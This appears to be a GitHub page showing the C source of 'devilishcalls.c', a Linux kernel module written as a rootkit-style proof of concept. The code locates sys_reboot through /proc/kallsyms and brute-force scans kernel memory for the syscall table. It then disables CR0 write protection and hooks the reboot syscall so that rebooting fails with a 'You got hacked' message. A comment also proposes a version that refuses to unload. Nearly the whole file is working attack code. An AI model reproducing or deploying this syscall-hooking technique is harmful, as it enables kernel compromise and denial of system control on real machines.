-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdevilishcalls.c
176 lines (152 loc) · 4.26 KB
/
devilishcalls.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h> // Kernel slab allocation, kmalloc()
#include <linux/fs.h> // File operation functions in kernel mode
#include <linux/uaccess.h> // Needed for unpriveleged memory access
#include <linux/string.h> // We need this for sane string manipulation
#include <linux/syscalls.h> // System calls
#include <linux/types.h> // Just to get ULLONG_MAX
#include <linux/linkage.h> // Asmlinkage exports
#include <asm/paravirt.h> // Functions to modify the CPU control register
#include <asm/page.h> // Exports PAGE_OFFSET
#include <asm/unistd.h> // System call identification numbers
#ifndef MODULE_NAME
#define MODULE_NAME "Devilish"
#endif
#define MAX_LEN 256
#define SYMBOLS "/proc/kallsyms"
/* We should have an author. */
MODULE_AUTHOR("Hackerman");
/* We don't want to taint the kernel. */
MODULE_LICENSE("Dual MIT/GPL");
unsigned long *sys_reboot_address;
unsigned long **sct = NULL;
asmlinkage long (* orig_reboot) (int, int);
asmlinkage long new_reboot(int a0, int a1)
{
printk(KERN_EMERG "You got hacked, son\n");
return -EPERM;
}
static int find_address_sct(void)
{
/*
* Dynamically acquire the kernel RAM base address, could start from 0
* as well, but this skips potential wasted reads
*/
unsigned long offset = PAGE_OFFSET;
printk(KERN_INFO "sys_reboot_address = %p\n", sys_reboot_address);
printk(KERN_INFO "looking for sct address\n");
while (offset < ULLONG_MAX) {
sct = (unsigned long **)offset;
/* Pretend we have the syscall table and prod for address */
if (sct[__NR_reboot] == sys_reboot_address) {
/* We actually have it */
printk(KERN_INFO "found sct[__NR_reboot]");
return 0;
}
/* Increment the iterator with the size of one 'address' */
offset += sizeof(void *);
}
/*
* We couldn't find it. If we didn't find it the function takes ages to
* complete anyways.
*/
return -1;
}
static int find_address_reboot(void)
{
/*
* Open /proc/kallsyms which contains all of the 'publicly' available
* symbols. Search for the address of the desired syscall.
*/
struct file *fp = NULL;
int i = 0;
char buf[MAX_LEN];
char *ptr;
char *tmp;
mm_segment_t fs_state;
fs_state = get_fs();
set_fs(KERNEL_DS);
fp = filp_open(SYMBOLS, O_RDONLY, 0);
if (fp == NULL)
return -1;
memset(buf, 0x0, MAX_LEN);
ptr = buf;
/*
* The contents of kallsyms <address> <symbol type> <symbol name>
* Example: ffffffffba09ef60 T add_range
* 'T/t' = text/code
*/
while(kernel_read(fp, ptr+i, 1, &fp->f_pos) == 1) {
if (ptr[i] == '\n' || i == 255) {
i = 0;
if ((strstr(ptr, "sys_reboot") != NULL)) {
printk(KERN_INFO "ptr = %s\n", ptr);
tmp = kzalloc(MAX_LEN, GFP_KERNEL);
if (tmp == NULL) {
kfree(tmp);
filp_close(fp, 0);
set_fs(fs_state);
return -1;
}
/* Separate the address field from the string */
strncpy(tmp, strsep(&ptr, " "), MAX_LEN);
sys_reboot_address = (unsigned long *)
simple_strtoul(tmp, NULL, 16);
kfree(tmp);
break;
}
memset(buf, 0x0, MAX_LEN);
continue;
}
i++;
}
filp_close(fp, 0);
set_fs(fs_state);
return 0;
}
static int assign_hook(unsigned long **sct)
{
/*
* Modify the control register (cr0) value to permit writes to protected
* memory. Save original function so we can reset when we clean up
*/
write_cr0(read_cr0() & (~ 0x10000));
orig_reboot = (void *) sct[__NR_reboot];
sct[__NR_reboot] = (long *) new_reboot;
write_cr0(read_cr0() | 0x10000);
return 0;
}
static int unassign_hook(void) {
/*
* Since we are nice people we clean up our mess when exiting.
* TODO: Version of the module that refuses to unload.
*/
write_cr0(read_cr0() & (~ 0x10000));
sct[__NR_reboot] = (void *) orig_reboot;
write_cr0(read_cr0() | 0x10000);
return 0;
}
static int __init loader(void)
{
printk(KERN_EMERG "Loading %s\n", MODULE_NAME);
if (find_address_reboot() < 0)
return -EIO;
if (find_address_sct() < 0) {
printk(KERN_INFO "Failed to retrieve sct\n");
return -EIO;
} else {
printk(KERN_INFO "System call table found!\n");
assign_hook(sct);
printk(KERN_EMERG "Loaded %s successfully\n", MODULE_NAME);
}
return 0;
}
static void __exit reset(void)
{
unassign_hook();
printk(KERN_INFO "Unloaded %s\n", MODULE_NAME);
}
module_init(loader);
module_exit(reset);